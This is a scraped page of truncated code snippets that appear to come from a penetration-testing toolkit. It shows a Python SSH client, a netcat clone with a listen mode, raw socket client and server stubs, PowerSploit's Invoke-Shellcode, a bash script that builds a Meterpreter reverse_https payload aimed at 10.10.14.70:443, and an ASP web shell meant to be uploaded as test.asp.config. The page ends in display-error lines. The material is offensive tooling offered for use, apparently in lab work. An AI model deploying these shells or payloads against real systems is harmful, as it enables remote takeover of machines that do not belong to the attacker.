This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import threading | |
import subprocess | |
from paramiko import SSHClient, AutoAddPolicy | |
from argparse import ArgumentParser, RawDescriptionHelpFormatter | |
# config the arguments | |
parser = ArgumentParser(description="SSH Client", | |
formatter_class=RawDescriptionHelpFormatter) | |
parser.add_argument("--host", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from argparse import ArgumentParser, RawDescriptionHelpFormatter | |
from socket import socket, AF_INET, SOCK_STREAM | |
from subprocess import PIPE, Popen | |
# configuring arguments | |
parser = ArgumentParser(description="Portable NCAT", | |
formatter_class=RawDescriptionHelpFormatter) | |
parser.add_argument("-l", | |
"--listen", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from argparse import ArgumentParser, RawDescriptionHelpFormatter | |
from socket import socket, AF_INET, SOCK_STREAM | |
# configuring arguments | |
parser = ArgumentParser(description="Portable NCAT", | |
formatter_class=RawDescriptionHelpFormatter) | |
parser.add_argument("-l", | |
"--listen", | |
action="store_true", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from socket import socket, AF_INET, SOCK_STREAM | |
from sys import argv | |
argv.pop(0) | |
# instancing the client | |
client = socket(AF_INET, SOCK_STREAM) | |
# connecting to the server | |
try: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from socket import socket, SOCK_STREAM, AF_INET | |
from sys import argv | |
argv.pop(0) | |
# instancing the server | |
server = socket(AF_INET, SOCK_STREAM) | |
# binding it to network interface | |
try: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Invoke-Shellcode | |
{ | |
[CmdletBinding( DefaultParameterSetName = ‘RunLocal’, SupportsShouldProcess = $True , ConfirmImpact = ‘High’)] Param ( | |
[ValidateNotNullOrEmpty()] | |
[UInt16] | |
$ProcessID, | |
[Parameter( ParameterSetName = ‘RunLocal’ )] | |
[ValidateNotNullOrEmpty()] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# meterpreter ip & port | |
lhost=10.10.14.70 | |
lport=443 | |
echo " * Writing Payload" | |
cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 > payload | |
echo “Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force” >> payload |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%@ Language = “JScript” %> | |
<% | |
/* | |
We will upload this asp shell code as test.asp.config | |
*/ | |
var version = “0.2 (beta) [2007–09–29]”; | |
var homepagelink = “http://aspshell.sourceforge.net"; | |
var q = Request(“q”)(); | |
var cd = Request(“cd”)(); |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.